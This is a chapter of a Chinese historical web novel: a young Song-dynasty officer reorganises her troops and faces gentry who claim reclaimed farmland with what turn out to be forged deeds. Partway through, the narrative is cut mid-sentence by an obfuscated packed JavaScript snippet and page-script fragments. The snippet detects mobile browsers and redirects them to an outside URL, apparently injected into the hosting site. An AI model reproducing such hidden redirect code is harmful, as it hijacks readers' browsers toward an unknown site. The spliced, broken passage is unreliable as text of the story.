元宵刚过，宋祈年的生辰便近了。她虽小名唤作小满，却非生于小满时节，而是取“小满胜万全”之意。


    过了这日，她便满十五岁了。及笄之礼，作为古代女子生命中至关重要的仪式之一，于她而言，不过是社会属性从孩童向成人的转变，再无其他深意。


    先前马球赛之事风波未平，宋家遍寻扬州，竟找不到一位年长德高的贵妇人愿来担任她的及笄主宾——或许本就无人愿意，如今更是有了名正言顺的推托之辞。最终，还是宋幼苡接过了这副担子。


    仪式之上，宋幼苡身着正装，立于席前，高声念诵祝辞：“礼仪既备，令月吉日，昭告尔字。爰字孔嘉，淑女攸宜。宜之于假，永受保之，曰以宁。”


    宋祈年敛衽而立，垂眸恭声答道：“以宁虽不敏，敢不夙夜祗奉。”


    祖父为她定名，娘亲为她取字——再没有比这更妥帖圆满的了！


    扬州城内那些嘲笑她的及笄礼连主宾都凑不齐，讥讽她们一家子行事如何不成体统，于宋祈年而言，这些流言蜚语皆如过耳微风，吹不皱一池春水。


    她正忙着清点行装、核对文书，一心预备返回陵亭。


    数月未归，她心里记挂着陵亭的那帮子兵卒，不知操练得可有长进。虽有书信往来，字里行间的描述终究不如亲眼所见来得真切。此刻，一颗心早已飞回了陵亭，归程的马蹄声仿佛都在耳边催促。


    心既已如归箭在弦，又何须迟疑？纵马扬鞭，我来也！


    甫一归营，还来不及感受来自于下属兵卒和道旁百姓的欢迎，先是投入到了已经腹案做过很多次的各项改革中去。


    先一样便是，军队！


    宋代军队各种军职名称繁琐，军职和差遣混杂——宋代军职体系素以名称冗杂、职官与差遣混淆著称，且基层以百人“都”为最小作战单位，指挥层级过于粗略，极易造成基层指挥链断裂与战术协同迟滞。她对背嵬军从上到下的建制和人数重新进行了改制。


    背嵬军：设一个团（暂时），下面是3个营，每个营500人左右。营下面是4个都，每个都120人。都下面是3个排，每个排40人。排下面是3个队，每个队10人左右。


    为了防止最开始招的那批纤夫抱成团，她索性将这些人全部打乱拆开分到各班，各排！又从新补充的民兵中提拔了训练刻苦的为队长。


    她这边虽早有规划，却依旧忙得脚不沾地。这日正与几位下属商议新提拔都头的人选，帐外忽然传来程波急促的脚步声：“大人，民务司那边出事了！”


    民务司外已围得水泄不通，攒动的人头中，两个衣着华贵的男子格外扎眼——身后跟着二十余名家仆佃户，宋祁年定睛细看，竟还夹杂着十多个满身花绣的泼皮——个个敞着怀，露出胸前青黑刺青，眼神在围观人群里逡巡不停。


    她心中哂笑不已：真是好大的阵仗。


    “呔！民务司的人都死绝了？”一个三角眼家丁突然将手中铁链往地上一摔，火星溅起时，他扯开公鸭嗓喊道：“我家相公可是同进士出身，拿着赤契来讨自家产业，你们这群泥腿子也敢拦？”


    另一个瘦脸家丁立刻抖开手中的桑皮纸地契，墨迹淋漓的官印在日头下泛着油光：“睁大你们的狗眼瞧瞧！这可是经县尉验过的红契，四至分明，连税都过割清楚了！”他突然用脚尖点着地面，“姓吕的带人开荒时，怎么不问问这六百亩抛荒地是谁家的祖产？”


    围观的人群顿时哗然骚动。一个老汉拄着拐杖颤巍巍挤出人群：“那地分明是无主荒田，都撂荒好几年了......”


    “荒地？”话音未落，泼皮堆里突然爆发出刺耳的哄笑。一个左脸带刀疤的汉子拨开人群往前两步，故意敞开粗布短褂，露出肋下狰狞的虎头刺青：“我说老不死的，这地啊，就像那窑子里的姐儿——谁有银子谁先占着！你懂个屁！”他突然朝民务司大门狠狠啐了口唾沫，“你陵亭军仗着有点军功强占土地，威压百姓，鱼肉乡里！地被你们占了，我们的佃户喝西北风去？更别说家奴本是我们花银子买来的！今日我等便是替天行道，为民申冤！”


    “刀疤李说得是啊！”旁边一个矮胖子阴阳怪气地帮腔，手里的短棍在掌心敲得咚咚响,“今日若不交出人和地，咱们就拆了这民务司！”


    宋祈年眉头越皱越紧。她注意到那两个锦袍男子始终背着手站在阴影里，嘴角噙着若有若无的笑意，倒像是看猴戏一般。而家丁们每喊一句，泼皮们就跟着起哄，时而用刀柄撞地制造轰鸣，时而故意推搡前排的屯户，眼看就要酿成冲突。


    “都住口！”随着一声断喝，吕淳屹拨开人群闯了进来。他刚从垦田接报匆匆赶回，接过地契扫过两眼便重重攥紧，指节因用力而泛白。“这帮蠹虫！”心中暗骂翻涌，面上却凝着一层寒霜——早不来晚不来，偏等六百亩荒地垦成良田，竟带着契书来坐享其成！如今这片土地已分给六十户屯户，每户十亩牵扯着两百多口人的生计。


    “你算什么东西，叫你家大人出来回话。”一个高个的家丁叉着腰喝道。


    “朝廷亲命的敦武郎，也是你们这些阿猫阿狗配议论的？"宋祈年柳眉倒竖，一声冷哼如冰锥裂帛，"你们又算什么东西？”年前剿匪的军功让她连升两级，如今已是正七品武德大夫，吕淳屹亦得授敦武郎阶。


    这些人看到开口的是个女子都先是一震，然后几个泼皮对视一眼，嘴里不干不净就想上来动手，那两个锦袍到底是有些见识，听闻过宋祈年的名声，忙不迭挥退众人，皮笑肉不笑地拱手：“见过宋将军。”


    “不敢！”宋祈年打个哈哈，“怎么两位读书人，为些黄白之物，同我这军汉一般，这样不讲究，打上门来？”


    其中一个着蓝袍的矮个子，干咳一声，声音郎朗说道：“将军可是误会我等了，陈某同马兄一起来，不过是想为这周围的百姓寻个公道，不然像我等还有个功名可以来寻大人说话，那些普通的乡绅，手上握着地契却没了地，那下面许多的佃户又如何养活？这不是逼着这些人去死吗？”


    真是好一手道德绑架！宋祈年心底冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204917|176675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑，几乎要为这颠倒黑白的话术喝彩。


    吕淳屹一挽袖子，“哎哟陈兄，马兄！竟不知二位家中已窘迫至此？”他故意拖长尾音，目光扫过两人锦缎袍角，“我们陵亭军虽说都是些粗汉，但爱民护民之心却是不比二位少上半点，既然无力养活这许多佃户，不如我们替二位分忧，别的不敢说，那租金足足要比二位忧心民生兄台低上一半不止。二位觉得怎么样？”


    “你.....”那穿湖绿色袍子的抬手指着吕淳屹就要开口。旁边的矮子一把拉住他的手，眼神扫了一圈，示意他看看周围。


    那人抬眼去看，不知何时周围竟围拢了许多的兵卒，各个披甲持刀。而且这帮丘八与寻常宋军不同，看人的眼神都有种冷漠之意，仿佛眼前的都不是活人一般，杀气横溢，两个人心中对视一眼，都晓得今日是占不到便宜的。


    “你们这帮武人，反了！如此羞辱我等读书人，我等这就去寻县丞......”蓝袍男子色厉内荏地放着狠话，却被同伴拽得一个踉跄。两人交换个眼神，晓得今日讨不到好，狠狠瞪了眼吕淳屹，带着家丁泼皮们狼狈转身，袍角带风地踉跄登车。


    程波和手下的军卒看到这些人如此污蔑陵亭军，还侮辱大人和吕大人，都跃跃欲试。


    “大人！”程波按剑上前，甲叶碰撞声里满是怒火，“这帮鼠辈污蔑军誉，不如属下追上去......”


    吕淳屹缓缓摇头，长长叹了口气：“这不过是口开胃菜，宋兄你且进来，咱们好好合计合计。”


    果不其然被吕淳屹这张乌鸦嘴说中。


    两人坐在县衙，对面已端坐近十位青衫士子。上首那位方面阔耳、美髯垂胸的孙县丞，正捻着胡须一页页翻看案上地契，眉头拧成个死结。


    占些地倒也没有什么，他指尖叩着契纸暗忖，目光扫过座中几位——竟有举人三名、同进士出身两人，更坐着位前科进士！陵亭这荒僻之地，士大夫本就稀少，孙文贤自忖个个相熟，却未料这帮人竟私下串联，这阵仗怕是难善了。


    “宋将军，这些地契都是真的，已有五千亩之多，这？是否误占了有主之地。”孙文贤递过一张给吕淳屹，吕淳屹恭敬的接过看起来翻看第一张。


    上面写着，“陵亭县崇德乡三都二图六甲下，立卖契人白塔河村民许德昌，今有承祖民田一业。坐落本乡归仁里，土名‘荻浦塘’，系经界清丈‘淳熙字号’二百十五号。其地东至白塔河故道，西抵宜陵镇官路，南接张家圩，北连周氏私堰，四至分明。积步五百二十步（折亩一亩七分），计税米一斗八升。今因家计窘迫，情愿出卖与同里盐商唐子荣为业。三面议定时值会子四十贯足，即日银契两交，不欠分文。自卖之后，任从买主开沟筑堰，收租管业，永无回赎。恐后无凭，立此卖契为照。......嘉泰元年八月初十。”后面则是见证人和官府红契。


    吕淳屹看完，又将地契凑到鼻尖，陈年麻纸的霉味混着劣质朱砂的腥气扑面而来。


    “孙大人，”他缓缓抬眼，“这地契是假的！”